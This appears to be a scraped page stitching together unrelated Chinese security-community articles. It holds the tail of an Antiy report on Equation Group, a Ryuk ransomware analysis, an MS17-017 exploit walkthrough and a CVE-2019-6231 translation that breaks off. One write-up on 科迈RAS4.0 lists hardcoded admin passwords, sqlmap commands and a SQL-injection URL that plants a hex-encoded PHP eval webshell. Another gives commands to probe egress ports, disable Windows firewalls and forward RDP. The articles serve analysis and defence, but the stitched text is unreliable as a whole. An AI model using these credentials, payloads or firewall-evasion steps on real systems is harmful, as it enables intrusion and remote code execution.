系统是使用了两层防火墙来构建防护，但由于攻击者基本上为所有的主流IT设备场景，包括各种主流防火墙，都针对性开发了适配性的攻击装备，所以说任何单点环节均可能失陷或失效，包括网络安全环节本身。防火墙是一种必备的网络安全设备，如为重要边界安全设备配套类似安天探海等全流量监测和记录设备，再通过单向网闸将数据结果摆渡到内部，供态势感知平台进行深度分析，就是一种行之有效的方式。其不仅可以弥补防火墙设备要求效率而带来的检测深度不足，进一步提升边界防御能力，而且也能够将对防火墙的攻击流量记录留存，为后续可能的威胁发现、取证、溯源、猎杀等工作提供必要基础。
（5）
在敌情设定下，可以看到，高级网空威胁攻击者所使用的攻击装备有极大可能是“未知”的，这种未知是指在局部或全局条件下，攻击装备对于防御方及其维护支撑力量（如网络安全厂商）来说，是一个尚未获取或至少不能辨识的威胁。但如果对已知威胁都不能进行有效防御，那么对于超高能力威胁行为体的防御就更加难以实现。我们看到，类似攻击
EastNets
所使用的漏洞利用工具在被分析报告揭示后，这些工具都成为了“已知威胁”，而被更低级别的攻击者所广泛利用，形成了更大面积的影响和损害。有效的防御这些威胁就是必须的基础能力。对于未知威胁无法杜绝其首次突破防御的可能，因而应该通过合理的防御体系来控制其活动的影响范围，限制其横向移动的能力。由于未知威胁可能导致原有检测能力不能对攻击者实现留痕，所以需要更全面的数据采集能力和基于失效设计的防御纵深。同时在与威胁对抗的过程中，能够对海量已知威胁事件进行精准的检测也是必不可少的能力需要。
（6）
建立“体系化的防御”才能应对“体系化的攻击”。在高级网空威胁行为体开展体系化攻击的情况下，仅仅进行单点或简单的多点防护，并不足以形成有效的防御体系。必须将单点对抗转化为体系对抗，将产品机械堆砌转化为能力有机融合。安天在国际网络安全研究机构SANS所提出的“滑动标尺”模型[16]的基础上，与国内多家能力型厂商共同约定为基础模型后进行了延伸拓展，提出了叠加演进的网络空间安全能力模型，将网空安全能力分为五大方面，其中基础结构安全、纵深防御、态势感知与积极防御、威胁情报四大方面的能力都是完善的网络安全防御体系所必需的。将防护目标所处的物理环境、通信网络、计算环境、应用和数据等技术层次与叠加演进的模型有效关联融合，能够迅速的找到所需的安全举措。在可管理性有保障的基础上、结合合理的防御纵深，态势感知与积极防御才能够发挥相应的作用，协同指挥部署的安全产品。威胁情报的价值才得以最大化。对抗高级网空威胁行为体，必须在态势感知与积极防御以及威胁情报方面进行系统的建设与投入，但同时这种投入的有效性又依赖于基础结构安全和纵深防御的支撑。需要看到态势感知与积极防御和威胁情报都是需要高成本投入的，这符合安全对抗既是体系对抗也是成本对抗的特点。
（7）
态势感知必须面对战术响应，才能够应对高速多变的网空威胁。不能停留在对“宏观态势”的“把握掌控”和策略调整，基于PDCA循环的信息安全生命周期也无法抵御快速发生的攻击行动。此次行动的攻击装备和相关技术动作都具备极高的隐蔽性，其既不会触发防火墙、入侵检测和主机杀毒软件的相关告警，也不会带来明显的流量异常和突变，其相关的横向移动、控制与窃取操作混杂在系统正常流量当中。及时发现这种微观细节的差异，并快速针对该事件进行检测、理解、决策制定和行动执行，从而实现抵御攻击、进行恢复乃至实施反制是积极防御的目标。这种态势感知体系，不是简单宏观层面的监测+大屏，而是复杂的战术型态势感知平台体系。参见安天与业内专家共同翻译的《网络空间安全防御与态势感知》[17]一书及译者序内容。
（8） 保障重要信息资产和规模性信息资产安全，必须建立起实战化运行机制。
“体系化的防御”不仅仅是体系化的安全产品部署，“态势感知”也不仅仅是机器的态势感知。要发挥体系的作用，需要建立完备的安全运行流程，落实安全运行相关角色与职责，制定和完善配套的安全运行规范流程。态势感知与积极防御方面的能力无法脱离人的参与，也就更依赖于实战化的运行机制，安全厂商提供的安全产品必须满足实战化运行的要求。尽管在基础结构安全和纵深防御方面部署的安全举措多数都是无需人参与即可生效的，但也需要人进行更新、维护和审计等相关工作，这些工作的及时和持续是保障安全措施有效的基础。对报告中曝光的威胁，更可以通过及时的更新将潜在影响减小到最低。
（9）
最后，也是最重要的一点，超高能力网空威胁行为体并非是无法应对的。既要对超高能力网空威胁行为体的能力有充分的认识，又要避免将其神化从而导致防御的虚无主义。以同批次攻击事件为例，方程式组织在本报告复盘分析的“JEEPFLEA_MARKET”行动中展示了超级攻击能力，但在被曝光的另一起针对EastNets在拉美和加勒比地区的合作伙伴BCG的攻击行动“JEEPFLEA_POWDER”则未获成功。对高级网空威胁，从防御到猎杀，当然不能基于撞大运式的偶然，不能寄希望于超高能力网空威胁行为体的高抬贵手。我们需要坚定与之斗争的信念，要清晰的认识到与应对敌情所需的防御能力之间的差距，坚定投入的信心和决心，做好长期、持续和扎实的基础工作。
但可以确定的一点是，我们从今天开始努力，就比从明天开始，早一天到达目标。
**分析团队补记：**
这是一份经历了多次修订和完善的报告，在相关复盘分析过程中，我们感受到了一种巨大的压力和焦灼。面对超高能力网空威胁行为体在2012~2013年的攻击能力，深感建立起对这样的攻击者的防御能力是非常艰巨的工作。同时，我们也非常担心超高能力网空威胁行为体无节制的提升攻击能力，将使网络空间武器化成为一种汹涌的逆流。
报告发布日，正是 6 月 1 日国际儿童节，我们突然想到世界儿童和平条约中向世界发出的呼声：
我们，全世界的儿童，向世界宣告，未来的世界应该和平。
我们要一个没有战争和武器的星球……
### **参考链接**
[1] [Kaspersky：Equation: The Death Star of Malware Galaxy]
<http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/>
[2] [安天：修改硬盘固件的木马——探索方程式（EQUATION）组织的攻击组件]
<https://www.antiy.com/response/EQUATION_ANTIY_REPORT.html>
[3] [安天：方程式（EQUATION）部分组件中的加密技巧分析]
<https://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html>
[4] [安天：从“方程式”到“方程组”EQUATION攻击组织高级恶意代码的全平台能力解析]
<https://www.antiy.com/response/EQUATIONS/EQUATIONS.html>
[5] [安天：方程式组织EQUATION DRUG平台解析——方程式组织系列分析报告之四]
<https://www.antiy.com/response/EQUATION_DRUG/EQUATION_DRUG.html>
[6] [安天：对Stuxnet蠕虫攻击工业控制系统事件的综合分析报告]
<https://www.antiy.com/response/stuxnet/Report_on_the_Worm_Stuxnet_Attack.html>
[7] [安天：Flame蠕虫样本集分析报告]
<https://www.antiy.com/response/flame/Analysis_on_the_Flame.html>
[8] [安天：探索Duqu木马的身世之谜——Duqu和Stuxnet同源性分析]
<http://www.antiy.com/cn/security/2012/r120521_001.htm>
[9] [EastNets] <https://www.eastnets.com/about>
[10] [How to Pick a SWIFT Service Bureau]
<https://www.treasuryandrisk.com/2010/10/01/how-to-pick-a-swift-service-bureau/>
[11] [安天：安天关于系统化应对NSA网络军火装备的操作手册]
<https://www.antiy.com/response/Antiy_Wannacry_NSA.html>
[12] [Schneier on Security：FEEDTROUGH: NSA Exploit of the Day]
<https://www.schneier.com/blog/archives/2014/01/feedtrough_nsa.html>
[13] [美国网络空间攻击与主动防御能力解析（概述篇）]
[https://mp.weixin.qq.com/s?__biz=MzI0NjU2NDMwNQ==&mid=2247485034&idx=1&sn=97ab78fc4ea250fad8f4a96ff6547633&scene=21#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI0NjU2NDMwNQ==&mid=2247485034&idx=1&sn=97ab78fc4ea250fad8f4a96ff6547633&scene=21#wechat_redirect)
[14] [美国用于漏洞利用的网空攻击装备解析]
[https://mp.weixin.qq.com/s?__biz=MzI0NjU2NDMwNQ==&mid=2247486352&idx=1&sn=d48c5e182103d574e6b3127b8d1889f9&scene=21#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI0NjU2NDMwNQ==&mid=2247486352&idx=1&sn=d48c5e182103d574e6b3127b8d1889f9&scene=21#wechat_redirect)
[15] [美国用于命令与控制的网空攻击装备解析]
[https://mp.weixin.qq.com/s?__biz=MzI0NjU2NDMwNQ==&mid=2247486420&idx=1&sn=29ddac3b1dd9873c5d793746f1055ed0&scene=21#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI0NjU2NDMwNQ==&mid=2247486420&idx=1&sn=29ddac3b1dd9873c5d793746f1055ed0&scene=21#wechat_redirect)
[16] 国际网络安全研究机构SANS所提出的“滑动标尺”模型 <https://www.sans.org/reading-room/whitepapers/analyst/sliding-scale-cyber-security-36240>
[17] [美]亚历山大?科特、克利夫?王、罗伯特?F.厄巴彻编著 黄晟 安天研究院译. 网络空间安全防御与态势感知[M]北京：机械工业出版社，2019.
### **附表一：安天对网空威胁行为体的能力分级**
* * * | 社区文章 |
应急时碰到的一套系统，简单记录下
# 0x01 硬编码问题
科迈RAS4.0在安装时会创建2个管理员账户`RAS_admin`、`RASCOM`，这两个账户硬编码了2组密码，
账户名 | 密码
---|---
RASCOM | 1A2b3C4d56.
RAS_admin | R1a2b3c4d56.
这就导致如果机器开了RDP，那么可以通过这两组帐密直接登录
# 0x02 SQL注入问题
审计的时候发现这套源码通过COM组件形式调用的SQL语句，IDA里看到均为直接拼接，且代码中没有做过滤
## Server/CmxCheckBind.php
`python3 sqlmap.py -u
"http://10.100.100.133:8088/Server/CmxCheckBind.php?a=1&b=2&c=3&d=4&from=5"
--level 5 --risk 3`
## Server/CmxBindMachine.php
`python3 sqlmap.py -u
"http://10.100.100.133:8088/Server/CmxBindMachine.php?m=1&b=2&a=3&c=4" --risk
3 --level 5`
## Server/CmxUserMap_1.php
`python3 sqlmap.py -u
"http://10.100.100.133:8088/Server/CmxUserMap_1.php?a=a&b=b&c=c"`
## Server/CmxGetLoginType.php
`http://10.100.100.133:8088/Server/CmxGetLoginType.php?a=admin%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2FProgram%20Files%20%28x86%29%2FComexe%2FRasMini%2Frasweb%2FApache2%2Fhtdocs%2Fsmarty-2.6.19%2FServer%2Faa.php%27%20LINES%20TERMINATED%20BY/**/0x3C3F70687020406576616C28245F504F53545B2758275D293B3F3E--%20-`
类似的地方还有很多，几乎与数据交互的地方均可注入
# 0x03 越权
`Cookie`中添加`RAS_Admin_UserInfo_UserName=admin`即可以`admin`登录
# 0x04 影响范围 | 社区文章 |
# Ryuk勒索病毒新变种分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：阿里云云安全中心 柏石&清音
## 一、前言
2020年由于新冠病毒（COVID-19）的持续传播导致远程办公的需求激增，同时网络攻击事件也跟着激增，其中勒索病毒最为明显。整个2020年勒索病毒呈爆发状态，攻击规模以及勒索赎金都有了很大的增幅。其中被勒索赎金最高的为富士康勒索事件。2020年12月富士康位于墨西哥工厂的服务器遭到勒索病毒攻击，攻击者要求富士康在限期21天内支付1804.0955枚比特币，约合2.3亿元人民币。
**目前最为流行的勒索病毒家族为Maze、REvil、Sodinokibi 、NetWalker、Ryuk等。**
随着攻防的演进，2020年勒索病毒也增加了新的特点。比如，勒索分成了两阶段勒索。先要求受害者支付赎金换取密钥以解密文件，然后要求受害者支付另一笔赎金来保证机密信息不被公开。同时，勒索病毒的操纵者们从性价比的角度出发，改变策略，攻击目标从广撒网改到精准投放，打击关键的高价值目标，以此换取高额赎金。还有就是从单纯勒索行为到与僵尸网络，挖矿等相互结合。
Ryuk勒索病毒最早在2018年由国外安全公司披露出来，其主要特点是通过垃圾邮件以及漏洞利用工具包进行传播。阿里云安全中心最近捕获到一个ryuk新型变种样本，我们对其横向传播技术进行了详细的分析，以此揭示勒索病毒常见的技术手段。通过分析大家会发现，勒索病毒会想尽一切办法进行传播，扩大战果，造成最大的破坏。最后我们会给出防范建议。
## 二、详细分析
### 1\. 反调试和脱壳
样本编译时间为2021.1.22，VT上首次出现的时间为2021.2.2，所以样本还是很新的。第一件事当然是IDA里做静态分析。分析发现样本使用了独有的加壳程序，这会给静态分析带来麻烦。所以我们尝试让它自己运行到脱壳解密的状态，然后我们再做进一步的分析。如下图，样本对使用的资源，比如字符串是有加密的。
调试器里运行的时候，发现样本还具有反调试机制。如下：
这里是一个DebugPort的查询操作，指针地址给的1，这当然会触发异常。还有几个类似的地方需要处理掉。
解决了反调试问题后，样本的代码会对自身进行脱壳解密，随后我们把内存转储出来，再修复一下IAT，这样再分析代码就会清晰很多了。
### 2\. fileless加密勒索方式
在随后的分析中我们发现一个有意思的地方，Ryuk勒索病毒在感染远程机器的时候，并不是将可执行文件传输过去，然后拉起再加密。而是通过SMB协议，远程感染加密了文件。这样做的好处是，在被攻击机器上，读写文件的上下文都是系统进程。这对于防御引擎来说，将很难决策是否是恶意的勒索行为。
攻击者使用SMB协议进行远程登录和文件访问，需要先具备登录权限。在很多企业局域网环境下，服务器的登录口令都是一样的，这种情况下，攻击者通过mimikatz和wce等方式可以拿到账户的登录凭证信息，以此再建立smb会话就很容易了。此处不展开讨论。
远程感染的过程分析如下：
我们在测试环境有两台同样用户名密码的测试机：测试机1（192.168.0.28），测试机2（192.168.0.31），在测试机1运行勒索样本，在测试机2抓包分析。
在测试机1运行样本后，测试机2的诱饵文件显示已被加密，并写入勒索通知文件。
通过在测试机2抓包发现，测试机1通过SMB远程登录到测试机2，然后远程对测试机2的诱饵文件进行了加密。
样本在拿到本地凭证的前提下，通过SMB协议登录局域网内同密码的机器，然后通过SMB加密远程机器内的文件实现勒索的目的。
通过SMB协议登录的前提是有明文密码或者NTLM hash，明文密码通过爆破可以拿到，困难度较高，但密码NTLM
hash比较容易获得，目前公开的工具：mimikatz、wce（Windows Credentials Editor）都能拿到NTLM
hash，所以病毒也能用同样都方式获得NTLM hash。
样本先是连接445端口，然后通过SMB协议使用NTLM认证登录远程机器。
Response包显示登录成功。同时远程机器上的日志也记录了登录成功的过程。（192.168.0.28为攻击者IP）
此处可见登录成功后去遍历磁盘分区。
此处可见远程加密重命名诱饵文件。
以上过程通过SMB协议在不投放病毒的情况下，实现了对目标机的文件加密勒索。对于防守方，这给检测防御带来了一定的困难。
### 3\. 持久化和蠕虫化
此处可见勒索病毒通过SMB拷贝了病毒自身过来，放到了 C:\User\Public\目录下。
传播病毒后，后面的流程自然是建立启动项和进程拉起。通过PronMon监控发现，Ryuk这个勒索病毒是通过schtasks给远端的受害者机器建立了一个计划任务。计划任务建立后，马上发送了Run的命令来进行拉起。通过这个过程实现了病毒自身的传播和传导，勒索病毒实现了持久化和蠕虫化。
IDA里找到创建计划任务这部分的逻辑对应的代码如下。
总结下来，传播的过程是这样的：
**总结：**
Ryuk这款勒索样本，有加壳加密，有本地勒索，也实现了横向传播和远程勒索，技术相对全面。另外一个有意思的地方，我们发现这个勒索病毒会通过打印机打印自己的勒索声明，可以说是很嚣张了。
Ryuk这个勒索病毒还在持续演进，防守方需要一直关注样本演化的趋势，并提出新的防御，检测和修复方案。
## 三、防护建议
1、除非明确需要，Windows服务器强烈建议封禁445端口。
2、局域网内机器不要使用弱口令，也不要使用统一的口令。
3、操作系统要及时安装补丁，安全软件也要保持更新。
4、重要文件定期备份，防患于未然。 | 社区文章 |
作者：百顺@星盟
# 前言
之前在安全客上看到一篇关于流量出网的文章，这里我进行深入总结一下。
# 利用过程
探测出站规则未禁用的端口：(在没用权限使用防火墙命令的情况下)
powershell -c "1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect('allports.exposed',$_)) $_ } 2>$null"
这里我们配置出站规则禁止特定端口出站，以下为效果图：
如果想使用msf连接的话，可以通过服务端设置这些端口连接。
ICMP（Internet Control Message
Protocol）：没有目的端口与源端口，属于Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
如果防火墙的出站规则配置了禁用端口，那么可能会造成不能出网的状况，但是此时如果没有单独配置禁用icmp协议，是可以通过icmp协议出网的。
此时是可以ping通外网的
所以我们可以通过icmp通道进行连接，是可以出网的
但是如果禁用了icmp出站协议，就只能通过关闭防火墙出网了。
防火墙配置
netsh advfirewall show allprofiles 查看防火墙状态
netsh firewall set opmode mode=disable 开启防火墙
netsh advfirewall set publicprofile state on
netsh firewall set opmode mode=disable 关闭防火墙
netsh advfirewall set publicprofile state off
netsh firewall show logging 防火墙日志目录
netsh advfirewall set currentprofile logging filename "C:\windows\temp\test.log" 自定义防火墙日志位置
netsh advfirewall firewall show rule name=all 查看防火墙配置的所有规则（可查看防火墙的出站与入站端口）
netsh advfirewall firewall delete rule name="rule name" 删除规则
如果配置了入站规则，需要连接3389时可以通过转发和添加规则的的方式连接
第一种方法：添加出站端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 添加出站规则允许3389端口
第二种方法：流量转发
netsh advfirewall firewall add rule name="test" dir=in action=allow protocol=TCP localport=8888 添加防火墙出站端口，也可以查看配置
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=本机ip connectport=3389 添加转发规则（connectaddress这里如果要访问本地端口不要填127.0.0.1，要填网卡ip，也可以填内网中别的机器的ip，可作为跳板机）
netsh interface portproxy show all 查看转发规则所有配置
netsh interface portproxy delete v4tov4 listenport=8888 protocol=tcp 删除转发规则
Linux配置防火墙：
参数 作用
-P 设置默认策略:iptables -P INPUT (DROP|ACCEPT)
-F 清空规则链
-L 查看规则链
-A 在规则链的末尾加入新规则
-I num 在规则链的头部加入新规则
-D num 删除某一条规则
-s 匹配来源地址IP/MASK，加叹号"!"表示除这个IP外。
-d 匹配目标地址
-i 网卡名称 匹配从这块网卡流入的数据
-o 网卡名称 匹配从这块网卡流出的数据
-p 匹配协议,如tcp,udp,icmp
dport：目的端口 出站规则
sport：来源端口 入站规则
-p 协议（protocol）
-s 源地址（source）
-d 目的地址（destination）
-j 执行目标（jump to target）
常用的ACTION：
DROP：丢弃
REJECT：明示拒绝
ACCEPT：接受
REDIRECT：重定向：主要用于实现端口重定向
RETURN：返回
PREROUTING: 在进行路由判断之前所要进行的规则(DNAT/REDIRECT)
INPUT:处理入站的数据包
OUTPUT:处理出站的数据包
FORWARD:处理转发的数据包
POSTROUTING: 在进行路由判断之后所要进行的规则(SNAT/MASQUERADE)
iptables -L -n --line-number 列出所有规则并且添加相应的序号
iptables -A INPUT -p tcp --dport 22 -j ACCEPT 允许别人访问22端口
iptables -A OUTPUT -p udp --dport 53 -j DROP 禁止自己访问53端口
iptables -A OUTPUT -p tcp --dport 1:65535 -j DROP 禁用出站多个端口
multiport参数配置不连续端口
iptables -A INPUT -p tcp -m multiport --dport 21:25,135:139 -j DROP
iptables -I INPUT -s 192.168.60.1 -j DROP 屏蔽单个IP
iptables -D OUTPUT 1 删除规则
service iptables save 保存
iptables-save > /etc/iptables.rules 保存
linux禁止icmp协议
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
允许ping
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all
linux探测防火墙出网
找一台公网服务器，开启防火墙，将所有端口绑定至8888端口
iptables -A INPUT -p tcp --dport 1:65535 -j ACCEPT (允许1-65535端口入站)
iptables -A PREROUTING -t nat -p tcp -m multiport --dport 1:21,23:65535 -j REDIRECT --to-port 8888 （记得把ssh留出来，不然自己连不上了）
nc -lvp 8888 nc监听本机8888端口
iptables -t nat -F 清空nat表的所有链
iptables -t nat -F PREROUTING 清空PREROUTING表
iptables -t nat -L 查看nat表所有规则
for i in {50..80}; do timeout 1 bash -c "echo > /dev/tcp/192.168.60.129/$i" &&
echo "$i open" || echo "$i closed"; done
这样就能通过自己的服务器探测对方出站还存留了哪些端口了 | 社区文章 |
# 【漏洞分析】MS17-017 Windows内核提权漏洞Exploit分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[playb0y23333](http://bobao.360.cn/member/contribute?uid=2762195961)
预估稿费：1000RMB
（本篇文章享受双倍稿费 活动链接请[点击此处](http://bobao.360.cn/news/detail/4370.html)）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**一、 简介**
****
此次分析的内核提权漏洞为SENSEPOST的Saif El-Sherei在分析微软MS17-017补丁的时候发现的，该漏洞类型为win32k.sys驱动程序中处理GDI对象的函数EngRealizeBrush内发生的整型溢出，利用方式也比较经典，Saif
El-Sherei在今年的Defcon会议上发布了一款针对Win7 Sp1
x86平台的Exploit，我就主要针对该Exploit进行了下简单的分析，如果分析过程存在问题，欢迎联系我交流指正。
**二、 成因分析**
****
Saif是通过补丁比对分析的漏洞成因，为了便于分析漏洞成因，我们先把漏洞POC代码中的喷射及后续的利用代码去掉，只留能够触发蓝屏的代码（见附件中的poc.exe），运行poc程序触发蓝屏，通过分析蓝屏信息再一步步的定位漏洞触发成因（注意：poc.exe中设置了一个调试断点，在Windbg中触发之后设置了一个虚拟机快照，以后每次重新调试恢复快照重新连接Windbg即可，这样可以尽量使每次调试时的内存布局尽量稳定）：
查看栈回溯信息也可以看到是在ExFreePoolWithTag函数释放Pool时的故障：
查看0xfdec3168处的Pool信息：
根据Pooltag标识Gebr搜索到该Pool是在EngRealizeBrush函数中申请的：
其实根据这里的内存申请代码已经能够看出此处存在问题，PALLOCMEM函数参数中申请的空间大小为ebx+0x40h，即下图中反编译的代码中的v12+0x40，v12本身为无符号整型，所以申请的空间大小至少为0x40：
但是在之前查看0xfdec3168处的Pool信息中显示的Size为0x18（包含Pool
头部8字节，实际申请空间大小应为0x10）。可以证明此处申请内存时发生了整形溢出：
下面再啰嗦下查看蓝屏的成因，在PALLOCMEM函数返回处下断查看申请的Pool内存地址：
此处注意对比蓝屏时查看的0xfdec3168处Pool信息，可以发现蓝屏状态时0xfdec3178处显示的POOL_HEADER被破坏，在释放其链表的下一项0xfdec3160时导致其操作失败，下面再看下0xfdec3178地址处存放的数据是如何被覆盖的，触发写断点：
0xfdec3160处Pool大小为0x18字节，除去8字节的POOL_HEADER大小，实际的缓冲区只有0xfdec3168-0xfdec3178这0x10字节，但是明显可以看到此处被越界覆写，也就验证了EngRealizeBrush函数调用PALLOCMEM申请内存时申请空间过小，导致后续操作该处内存空间时发生了越界。
下面来分析一下为什么PALLOCMEM函数会只申请0x10字节的内存，再来深入探究下其参数的来源：
来看下运行时的计算过程，下图中的乘法运算即v60*v68，最终结果还需要加上0x44（68），调用PALLOCMEM函数时再加上0x40：
此时edi寄存器的值以及ebp-18h的值均来自poc代码中CreateBitmap函数参数（HBITMAP bitmap =
CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL)）。最终的计算结果为0x23*0x20/(2^3)*
0x1d41d41=0xFFFFFF8C，在调用PALLOCMEM函数时又分别加上了0x44、0x40字节，0xFFFFFF8C+0x44+0x40=
0x100000010，正是在此整形溢出导致的实际申请内存时只申请了0x10字节，在EngRealizeBrush后续对申请的内存赋值时导致破坏了紧邻的Pool结构，最终触发蓝屏。
**三、 漏洞利用**
****
该漏洞的利用过程还是比较精彩的，上文的poc中原作者已经构造好参数，控制最终申请0x10+0x8字节内存，能够越界覆写临近的Pool结构，为了完成提权过程可以使用多种利用方式，作者发布的Exploit使用的是混合利用Bitmap和Palette对象完成，首先控制在发生越界的SURFOBJ对象后面喷射两个相邻的Bitmap对象和Palette对象，利用越界覆写第一个Bitmap对象结构的sizlBitmap成员，获取相对地址读写权限，再利用被修改的Bitmap对象修改相邻的Palette对象的cEntries成员，继而控制这个Palette对象修改第二个Palette对象的pFirstColor成员，完成任意地址读写，替换当前进程的Token为SYSTEM进程的Token，整个利用过程也就完成了。
**3.1 喷射**
因为产生越界读写的SURFOBJ对象是在Paged Session
Pool中分配的，对应的也需要利用它的特性完成喷射，第一次申请内存将首先占据内存页（0x1000字节大小）的开始部分，后续申请的内存则会从内存页的末尾开始向前排列（盗用Saif文章原图如下）：
具体做法如下：
a)首先申请2000个0xFE8字节大小的空间，用于清理内存空间，内存页末尾留出0x18字节。
b)利用创建Windows窗体类时成员lpszMenuName，控制申请0x18字节内存占用上一步空出的0x18字节。虽然窗体类tagCLS是在Desktop
Heap中分配内存，但是lpszMenuName却是在内核池中分配的。
c)释放第一步申请的0xFE8大小的空间，便于下一步布置相邻的Bitmap以及Palette对象。
d)依次申请0x7F8字节大小的Bitmap对象以及0x7E8字节大小的Palette对象，使相邻的这两个对象占据上一步释放的空间，关于如何确定内核中Bitmap对象申请的空间大小跟CreateBitmap函数的参数之间没有确定的公式，只能不断尝试，不过CreatePalette函数参数与对应的内核中申请空间的大小已经有公开的资料了。
e)释放第二步申请的窗体类，这样最后0x18字节内存就变成为了Free状态，在漏洞触发时申请的0x18内存就落入了这些内存空洞之间。
下面将exploit代码中喷射的代码和利用的代码注释回来，重新开始调试exploit从堆喷到执行Shellcode的步骤，同时继续在PALLOCMEM运行完毕后下断，查看发生越界的SURFOBJ对象所在的内存地址以及喷射之后越界对象地址附近的内存布局：
可以看到发生越界的SURFOBJ对象0xfd4a8ff0相邻的两个对象就是我们布局的一个Bitmap对象（0xfd4a9000）以及Palette对象（0xfd4a97f8），利用喷射完成内存地址的稳定布局之后就可以触发漏洞了。
**3.2 相对地址读写**
实现相对地址读写的目的主要是能够利用只触发漏洞一次，完成从受限的越界写入转化成可以多次覆写其它更多地址的功能，注意漏洞触发时并非只有我们在分析漏洞成因的时候发现的越界覆写Pool
Header，同时覆盖的还有相邻内存池的其它数据结构：
在写exploit中我们主要关注*(_DWORD *)(v16 + 0x3C) =
a3这段代码，除去发生越界的SURFOBJ对象缓冲区0x10字节以及相邻的Bitmap对象的Pool header0x8字节、_BASE_OBJECT
0x10字节，实际还会覆盖相邻的Bitmap对象的sizlBitmap结构的cy成员（0x3C-0x10-0x10-0x8=0x14）：
下面继续运行exploit覆盖该地址的数据，也可以使用windbg的gdiobjdump插件更方便的查看覆盖的数据格式，这里不再介绍了：
因为修改了Bitmap对象的sizlBitmap结构，现在就能利用Bitmap对象的GetBitmapBits、SetBitmapBits函数完成功能更容易操作的越界读写操作，因此也就拥有了喷射在与Bitmap对象紧邻的Palette对象数据结构的数据的操作能力，具体需要读写那些Palette对象成员可以研究下Palette对象的结构：
其中cEntries代表结构体末尾的
PALETTEENTRY数组的成员个数，pFirstColor指针则指向PALETTEENTRY数组的第一个成员的地址。下面通过利用上一步的Bitmap对象修改相邻Palette对象的cEntries为0xFFFFFFFF，就相当于是扩展了Palette对象操作的内存空间是pFirstColor指针指向的内存空间之后的任意地址。这部分流程也比较简单，首先从喷射的Bitmap对象中找到被漏洞触发越界覆写sizlBitmap结构的那个Bitmap对象，调用GetBitmapBits函数看看那个能越界就行，不再赘述。第二步根据喷射时Bitmap与Palette对象的位置关系，调用GetBitmapBits获取Bitmap对象的数据，定位到其中包含的Palette对象的cEntries成员，修改后调用SetBitmapBits函数重新写入，下图即为被修改前后的cEntries：
至此就被覆写cEntries的Palette对象就拥有相对地址读写的能力了。
**3.3 任意地址读写**
虽然已经能够完成相对地址读写的能力，但是还是局限在特定的内存空间内，所以还需要再做一点手脚完成对任意地址内存空间的操纵能力，最终完成替换Token的操作。具体做法其实类似上一步骤覆写cEntries，这里只需要覆写pFirstColor指针即可，需要修改什么地址的内存将pFirstColor指针指向该地址就行了，首先也是先寻找到被修改cEntries结构的Palette对象，不再赘述。根据喷射的特点，每隔0x1000就存在一个喷射的Palette对象，直接调用SetPaletteEntries函数对下一个内存页的Palette对象pFirstColor成员进行修改即可：
注意此处pFirstColor的值被修改为了0xfd4a8000，这个地址是第一步喷射时和发生越界的SURFOBJ对象在同一个内存页的Bitmap对象。设置成这个地址的目的是利用该地址处Bitmap对象的tag值Gh15做标示，再遍历所有喷射的Palette对象这个pFirstColor值被修改的Palette。
到此就已经具备任意地址读写的能力了，需要修改任意地址的内存只需利用被修改cEntries的Palette去再次修改第二个Palette的pFirstColor，再对其调用SetPaletteEntries、GetPaletteEntries函数读取或修改内存数据。
**3.4 Shellcode**
进行到这里就可以松口气了，内核提权Shellcode目前一般都采用替换当前进程的Token为SYSTEM进程的Token，这里没有什么需要特别说的，首先获取当前进程和SYSTEM进程的EPROCESS结构地址，利用任意地址读写将SYSTEM进程的Token写入到当前进程的Token位置就完事了。提权成功：
**四、 总结**
****
微软最后在PALLOCMEM函数申请内存之前添加了ULongLongToULong函数做检测，如果发生了整形溢出不会跳转到申请内存的代码，已经被Patch的代码：
除了exp所使用的这种漏洞利用方式以外，Saif也提到了其它两种方式，一种是利用两个相邻的Bitmap对象完成，由一个Bitmap对象去覆写另一个Bitmap的pvScan0来完成任意地址读写，另一种方式是利用一个Bitmap直接去修改一个Palette对象的pFirstColor指针，有兴趣的湿敷可以尝试下。
**附件链接：**
****
<https://share.weiyun.com/d1ed23e7750d6a37e3db268ac9ad84ef>
**参考资料：**
****
Saif El-Sherei的代码及文章：
<https://github.com/sensepost/gdi-palettes-exp> | 社区文章 |
# MacOS/iOS CVE-2019-6231 漏洞深入分析
|
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html>
译文仅供参考，具体内容表达以及含义原文为准。
CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞，具体的位置在
_CA::Render::Image::decode()_ 函数中。
2019年1月22日，苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3，这次更新修复了许多安全漏洞，其中就包括
CVE-2019-6231 漏洞。
18年的12月14日，我曾经在 macOS Mojave 10.14.2 中发现了这个漏洞，并且在21日报告给了苹果。
然而遗憾的是，苹果回应这个问题已经在 macOS Mojave 10.14.3 beta 中被修复了，而这个版本是在12月19日发行的。
接下来，本文将对这个漏洞展开详细的分析。
## 漏洞概览
QuartzCore 是一个 macOS 和 iOS 用来渲染动画场景图形的框架，有时候也被成为 CoreAnimation。
QuartzCore 的渲染模式非常特别，它的图形操作都是运行再一个单独的进程中。
在 macOS 中，这个进程是 WindowServer， 在 iOS 中，这个进程是 backboard 。
